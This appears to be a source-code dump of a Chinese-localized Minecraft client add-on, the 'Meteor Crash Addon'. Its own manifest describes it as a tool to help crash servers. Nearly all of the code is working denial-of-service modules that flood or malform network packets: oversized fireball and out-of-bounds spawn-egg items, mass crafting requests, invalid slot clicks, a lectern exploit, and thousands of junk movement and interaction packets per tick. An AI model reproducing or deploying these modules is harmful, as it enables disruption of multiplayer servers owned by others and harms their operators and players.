| NbtList power = new NbtList(); 28 | power.add(NbtDouble.of(1.0E43)); 29 | power.add(NbtDouble.of(0)); 30 | power.add(NbtDouble.of(0)); 31 | tag1.putString("id", "minecraft:small_fireball"); 32 | tag1.put("power", power); 33 | CrashFireball.setSubNbt("EntityTag", tag1); 34 | CreativeInventoryActionC2SPacket balls = new CreativeInventoryActionC2SPacket(36 + mc.player.getInventory().selectedSlot, CrashFireball); 35 | mc.getNetworkHandler().sendPacket(balls); 36 | return SINGLE_SUCCESS; 37 | })); 38 | 39 | builder.then(literal("OOBEgg").executes(ctx -> { 40 | ItemStack gato = new ItemStack(Items.CAT_SPAWN_EGG); 41 | NbtCompound tag2 = new NbtCompound(); 42 | NbtList pos = new NbtList(); 43 | pos.add(NbtDouble.of(2147483647)); 44 | pos.add(NbtDouble.of(2147483647)); 45 | pos.add(NbtDouble.of(2147483647)); 46 | tag2.put("Pos", pos); 47 | gato.setSubNbt("EntityTag", tag2); 48 | CreativeInventoryActionC2SPacket elgato = new CreativeInventoryActionC2SPacket(36 + mc.player.getInventory().selectedSlot, gato); 49 | mc.getNetworkHandler().sendPacket(elgato); 50 | return SINGLE_SUCCESS; 51 | })); 52 | 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /meteor-crash-addon-latest-1.20.2/src/main/java/widecat/meteorcrashaddon/modules/CraftingCrash.java: -------------------------------------------------------------------------------- 1 | package widecat.meteorcrashaddon.modules; 2 | 3 | import meteordevelopment.meteorclient.events.world.TickEvent; 4 | import meteordevelopment.meteorclient.settings.IntSetting; 5 | import meteordevelopment.meteorclient.settings.Setting; 6 | import meteordevelopment.meteorclient.settings.SettingGroup; 7 | import meteordevelopment.meteorclient.systems.modules.Module; 8 | import meteordevelopment.orbit.EventHandler; 9 | import net.minecraft.client.gui.screen.recipebook.RecipeResultCollection; 10 | import net.minecraft.network.packet.c2s.play.CraftRequestC2SPacket; 11 | import net.minecraft.recipe.RecipeEntry; 12 | import net.minecraft.screen.CraftingScreenHandler; 13 | import widecat.meteorcrashaddon.CrashAddon; 14 | 15 | import java.util.List; 16 | 17 | public class CraftingCrash extends Module { 18 | private final SettingGroup sgGeneral = settings.getDefaultGroup(); 19 | 20 | private final Setting packets = sgGeneral.add(new IntSetting.Builder() 21 | .name("发包数量") 22 | .description("每个刻度发送多少个数据包。警告:这将乘以解锁的配方数量") 23 | .defaultValue(24) 24 | .min(1) 25 | .sliderMax(50) 26 | .build()); 27 | 28 | public CraftingCrash() { 29 | super(CrashAddon.CATEGORY, "合成崩溃", "发送大量的合成请求数据包,最好在库存中使用木板"); 30 | } 31 | 32 | @EventHandler 33 | private void onTick(TickEvent.Post event) { 34 | if (!(mc.player.currentScreenHandler instanceof CraftingScreenHandler) || mc.getNetworkHandler() == null) return; 35 | try { 36 | List recipeResultCollectionList = mc.player.getRecipeBook().getOrderedResults(); 37 | for (RecipeResultCollection recipeResultCollection : recipeResultCollectionList) { 38 | for (RecipeEntry recipe : recipeResultCollection.getRecipes(true)) { 39 | for (int i = 0; i < packets.get(); i++) { 40 | mc.getNetworkHandler().sendPacket(new CraftRequestC2SPacket(mc.player.currentScreenHandler.syncId, recipe, true)); 41 | } 42 | } 43 | } 44 | } catch (Exception ignored) { 45 | error("停止崩溃,因为发生了错误!"); 46 | toggle(); 47 | } 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /meteor-crash-addon-latest-1.20.2/src/main/java/widecat/meteorcrashaddon/modules/ErrorCrash.java: -------------------------------------------------------------------------------- 1 | package widecat.meteorcrashaddon.modules; 2 | 3 | import it.unimi.dsi.fastutil.ints.Int2ObjectArrayMap; 4 | import it.unimi.dsi.fastutil.ints.Int2ObjectMap; 5 | import meteordevelopment.meteorclient.events.game.GameLeftEvent; 6 | import meteordevelopment.meteorclient.events.world.TickEvent; 7 | import meteordevelopment.meteorclient.settings.BoolSetting; 8 | import meteordevelopment.meteorclient.settings.IntSetting; 9 | import meteordevelopment.meteorclient.settings.Setting; 10 | import meteordevelopment.meteorclient.settings.SettingGroup; 11 | import meteordevelopment.meteorclient.systems.modules.Module; 12 | import meteordevelopment.orbit.EventHandler; 13 | import net.minecraft.item.ItemStack; 14 | import net.minecraft.item.Items; 15 | import net.minecraft.network.packet.c2s.play.ClickSlotC2SPacket; 16 | import net.minecraft.screen.slot.SlotActionType; 17 | import widecat.meteorcrashaddon.CrashAddon; 18 | 19 | public class ErrorCrash extends Module { 20 | private final SettingGroup sgGeneral = settings.getDefaultGroup(); 21 | 22 | private final Setting amount = sgGeneral.add(new IntSetting.Builder() 23 | .name("发包数量") 24 | .description("发包的数量") 25 | .defaultValue(15) 26 | .min(1) 27 | .sliderMax(100) 28 | .build()); 29 | 30 | private final Setting autoDisable = sgGeneral.add(new BoolSetting.Builder() 31 | .name("踢出关闭") 32 | .description("在被踢出时禁用模块") 33 | .defaultValue(true) 34 | .build()); 35 | 36 | public ErrorCrash() { 37 | super(CrashAddon.CATEGORY, "错误崩溃", "我喜欢discord.gg/g42rvX3c6s!!!!!"); 38 | } 39 | 40 | @EventHandler 41 | private void onTick(TickEvent.Post event) { 42 | Int2ObjectMap REAL = new Int2ObjectArrayMap<>(); 43 | REAL.put(0, new ItemStack(Items.RED_DYE, 1)); 44 | for (int i = 0; i < amount.get(); i++) { 45 | mc.getNetworkHandler().sendPacket(new ClickSlotC2SPacket(mc.player.currentScreenHandler.syncId,123344, 2957234, 2859623, SlotActionType.PICKUP, new ItemStack(Items.AIR, -1), REAL)); 46 | } 47 | } 48 | 49 | @EventHandler 50 | private void onGameLeft(GameLeftEvent event) { 51 | if (autoDisable.get()) toggle(); 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /meteor-crash-addon-latest-1.20.2/src/main/java/widecat/meteorcrashaddon/modules/LecternCrash.java: -------------------------------------------------------------------------------- 1 | package widecat.meteorcrashaddon.modules; 2 | 3 | import it.unimi.dsi.fastutil.ints.Int2ObjectMaps; 4 | import meteordevelopment.meteorclient.events.game.OpenScreenEvent; 5 | import meteordevelopment.meteorclient.systems.modules.Module; 6 | import meteordevelopment.orbit.EventHandler; 7 | import net.minecraft.client.gui.screen.ingame.LecternScreen; 8 | import net.minecraft.network.packet.c2s.play.ClickSlotC2SPacket; 9 | import net.minecraft.screen.slot.SlotActionType; 10 | import widecat.meteorcrashaddon.CrashAddon; 11 | 12 | public class LecternCrash extends Module { 13 | 14 | public LecternCrash() { 15 | super(CrashAddon.CATEGORY, "讲台崩溃", "当你打开讲台时发送一个有趣的包"); 16 | } 17 | 18 | @EventHandler 19 | private void onOpenScreenEvent(OpenScreenEvent event) { 20 | if (!(event.screen instanceof LecternScreen)) return; 21 | mc.getNetworkHandler().sendPacket(new ClickSlotC2SPacket(mc.player.currentScreenHandler.syncId, mc.player.currentScreenHandler.getRevision(), 0, 0, SlotActionType.QUICK_MOVE, mc.player.currentScreenHandler.getCursorStack().copy(), Int2ObjectMaps.emptyMap())); 22 | toggle(); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /meteor-crash-addon-latest-1.20.2/src/main/java/widecat/meteorcrashaddon/modules/MovementCrash.java: -------------------------------------------------------------------------------- 1 | package widecat.meteorcrashaddon.modules; 2 | 3 | import meteordevelopment.meteorclient.events.game.GameLeftEvent; 4 | import meteordevelopment.meteorclient.events.world.TickEvent; 5 | import meteordevelopment.meteorclient.settings.BoolSetting; 6 | import meteordevelopment.meteorclient.settings.IntSetting; 7 | import meteordevelopment.meteorclient.settings.Setting; 8 | import meteordevelopment.meteorclient.settings.SettingGroup; 9 | import meteordevelopment.meteorclient.systems.modules.Module; 10 | import meteordevelopment.orbit.EventHandler; 11 | import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket; 12 | import net.minecraft.util.math.Vec3d; 13 | import widecat.meteorcrashaddon.CrashAddon; 14 | 15 | import java.util.Random; 16 | 17 | public class MovementCrash extends Module { 18 | private final SettingGroup sgGeneral = settings.getDefaultGroup(); 19 | 20 | private final Setting packets = sgGeneral.add(new IntSetting.Builder() 21 | .name("发包数量") 22 | .description("每个刻度发送多少个数据包") 23 | .defaultValue(2000) 24 | .min(1) 25 | .sliderMax(10000) 26 | .build()); 27 | 28 | private final Setting autoDisable = sgGeneral.add(new BoolSetting.Builder() 29 | .name("踢出关闭") 30 | .description("在被踢出时禁用模块") 31 | .defaultValue(true) 32 | .build()); 33 | 34 | public MovementCrash() { 35 | super(CrashAddon.CATEGORY, "移动崩溃", "尝试通过发送垃圾移动数据包来使服务器崩溃(0x150)"); 36 | } 37 | 38 | public static double rndD(double rad) { 39 | Random r = new Random(); 40 | return r.nextDouble() * rad; 41 | } 42 | 43 | @EventHandler 44 | private void onTick(TickEvent.Post event) { 45 | if (mc.getNetworkHandler() == null) return; 46 | try { 47 | Vec3d current_pos = mc.player.getPos(); 48 | for (int i = 0; i < packets.get(); i++) { 49 | PlayerMoveC2SPacket.Full move_packet = new PlayerMoveC2SPacket.Full(current_pos.x + getDistributedRandom(1), 50 | current_pos.y + getDistributedRandom(1), current_pos.z + getDistributedRandom(1), 51 | (float) rndD(90), (float) rndD(180), true); 52 | mc.getNetworkHandler().sendPacket(move_packet); 53 | } 54 | } catch (Exception ignored) { 55 | error("发生错误,停止移动崩溃!"); 56 | toggle(); 57 | } 58 | } 59 | 60 | @EventHandler 61 | private void onGameLeft(GameLeftEvent event) { 62 | if (autoDisable.get()) toggle(); 63 | } 64 | 65 | public double getDistributedRandom(double rad) { 66 | return (rndD(rad) - (rad / 2)); 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /meteor-crash-addon-latest-1.20.2/src/main/java/widecat/meteorcrashaddon/modules/PacketSpammer.java: -------------------------------------------------------------------------------- 1 | package widecat.meteorcrashaddon.modules; 2 | 3 | import meteordevelopment.meteorclient.events.game.GameLeftEvent; 4 | import meteordevelopment.meteorclient.events.world.TickEvent; 5 | import meteordevelopment.meteorclient.settings.BoolSetting; 6 | import meteordevelopment.meteorclient.settings.IntSetting; 7 | import meteordevelopment.meteorclient.settings.Setting; 8 | import meteordevelopment.meteorclient.settings.SettingGroup; 9 | import meteordevelopment.meteorclient.systems.modules.Module; 10 | import meteordevelopment.orbit.EventHandler; 11 | import net.minecraft.network.packet.c2s.play.HandSwingC2SPacket; 12 | import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket; 13 | import net.minecraft.util.Hand; 14 | import widecat.meteorcrashaddon.CrashAddon; 15 | 16 | public class PacketSpammer extends Module { 17 | private final SettingGroup sgGeneral = settings.getDefaultGroup(); 18 | 19 | private final Setting amount = sgGeneral.add(new IntSetting.Builder() 20 | .name("发包数量") 21 | .description("每个刻度向服务器发送多少个数据包") 22 | .defaultValue(100) 23 | .min(1) 24 | .sliderMax(1000) 25 | .build()); 26 | 27 | private final Setting autoDisable = sgGeneral.add(new BoolSetting.Builder() 28 | .name("踢出关闭") 29 | .description("在被踢出时禁用模块") 30 | .defaultValue(true) 31 | .build()); 32 | 33 | public PacketSpammer() { 34 | super(CrashAddon.CATEGORY, "封包垃圾邮件", "发送随机数据包(tmd毫无用处)"); 35 | } 36 | 37 | @EventHandler 38 | private void onTick(TickEvent.Post event) { 39 | for (int i = 0; i < amount.get(); i++) { 40 | mc.getNetworkHandler().sendPacket(new PlayerMoveC2SPacket.OnGroundOnly(Math.random() >= 0.5)); 41 | mc.getNetworkHandler().sendPacket(new HandSwingC2SPacket(Hand.MAIN_HAND)); 42 | } 43 | } 44 | 45 | @EventHandler 46 | private void onGameLeft(GameLeftEvent event) { 47 | if (autoDisable.get()) toggle(); 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /meteor-crash-addon-latest-1.20.2/src/main/java/widecat/meteorcrashaddon/modules/SequenceCrash.java: -------------------------------------------------------------------------------- 1 | package widecat.meteorcrashaddon.modules; 2 | 3 | import meteordevelopment.meteorclient.events.game.GameLeftEvent; 4 | import meteordevelopment.meteorclient.events.world.TickEvent; 5 | import meteordevelopment.meteorclient.settings.*; 6 | import meteordevelopment.meteorclient.systems.modules.Module; 7 | import meteordevelopment.orbit.EventHandler; 8 | import net.minecraft.network.packet.c2s.play.PlayerInteractBlockC2SPacket; 9 | import net.minecraft.network.packet.c2s.play.PlayerInteractItemC2SPacket; 10 | import net.minecraft.util.Hand; 11 | import net.minecraft.util.hit.BlockHitResult; 12 | import net.minecraft.util.math.BlockPos; 13 | import net.minecraft.util.math.Direction; 14 | import net.minecraft.util.math.Vec3d; 15 | import widecat.meteorcrashaddon.CrashAddon; 16 | 17 | public class SequenceCrash extends Module { 18 | private final SettingGroup sgGeneral = settings.getDefaultGroup(); 19 | 20 | private final Setting mode = sgGeneral.add(new EnumSetting.Builder() 21 | .name("模式") 22 | .description("这真的一点也不重要") 23 | .defaultValue(Modes.Block) 24 | .build()); 25 | 26 | private final Setting amount = sgGeneral.add(new IntSetting.Builder() 27 | .name("发包数量") 28 | .description("每刻发送的数据包数") 29 | .defaultValue(200) 30 | .sliderRange(50, 2000) 31 | .build()); 32 | 33 | private final Setting autoDisable = sgGeneral.add(new BoolSetting.Builder() 34 | .name("踢出关闭") 35 | .description("在被踢出时禁用模块") 36 | .defaultValue(true) 37 | .build()); 38 | 39 | public SequenceCrash() { 40 | super(CrashAddon.CATEGORY, "序列崩溃", "发送无效序列,仅在非优化服务器上有效"); 41 | } 42 | 43 | @EventHandler 44 | private void onTick(TickEvent.Post event) { 45 | switch (mode.get()) { 46 | case Item -> { 47 | for (int i = 0; i < amount.get(); i++) { 48 | mc.getNetworkHandler().sendPacket(new PlayerInteractItemC2SPacket(Hand.MAIN_HAND, -1)); 49 | } 50 | } 51 | case Block -> { 52 | Vec3d pos = new Vec3d(mc.player.getX(), mc.player.getY(), mc.player.getZ()); 53 | BlockHitResult bhr = new BlockHitResult(pos, Direction.DOWN, BlockPos.ofFloored(pos), false); 54 | for (int i = 0; i < amount.get(); i++) { 55 | mc.getNetworkHandler().sendPacket(new PlayerInteractBlockC2SPacket(Hand.MAIN_HAND, bhr, -1)); 56 | } 57 | } 58 | } 59 | } 60 | 61 | @EventHandler 62 | private void onGameLeft(GameLeftEvent event) { 63 | if (autoDisable.get()) toggle(); 64 | } 65 | 66 | public enum Modes { 67 | Item, Block 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /meteor-crash-addon-latest-1.20.2/src/main/resources/assets/meteorcrashaddon/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unbrraise/Meteor-Client-addons-CH/8541a6d5e30d5f13c55e4484682d6693aac2ca82/meteor-crash-addon-latest-1.20.2/src/main/resources/assets/meteorcrashaddon/icon.png -------------------------------------------------------------------------------- /meteor-crash-addon-latest-1.20.2/src/main/resources/fabric.mod.json: -------------------------------------------------------------------------------- 1 | { 2 | "schemaVersion": 1, 3 | "id": "meteor-crash-addon", 4 | "version": "${version}", 5 | "name": "Meteor Crash Addon", 6 | "description": "Utility add-on for Meteor Client to help you crash servers.", 7 | "authors": [ 8 | "Wide_Cat", 9 | "Cloudburst" 10 | ], 11 | "contact": { 12 | "repo": "https://github.com/AntiCope/meteor-crash-addon" 13 | }, 14 | "icon": "assets/meteorcrashaddon/icon.png", 15 | "environment": "client", 16 | "entrypoints": { 17 | "meteor": [ 18 | "widecat.meteorcrashaddon.CrashAddon" 19 | ] 20 | }, 21 | "mixins": [ 22 | "meteorcrashaddon.mixins.json" 23 | ], 24 | "custom": { 25 | "meteor-client:color": "229,255,0", 26 | "github:sha": "@gh_hash@" 27 | }, 28 | "depends": { 29 | "java": ">=17", 30 | "minecraft": ">=@mc_version@", 31 | "meteor-client": "*" 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /meteor-crash-addon-latest-1.20.2/src/main/resources/meteorcrashaddon.mixins.json: -------------------------------------------------------------------------------- 1 | { 2 | "required": true, 3 | "package": "widecat.meteorcrashaddon.mixins", 4 | "compatibilityLevel": "JAVA_16", 5 | "client": [ 6 | ], 7 | "injectors": { 8 | "defaultRequire": 1 9 | } 10 | } 11 | --------------------------------------------------------------------------------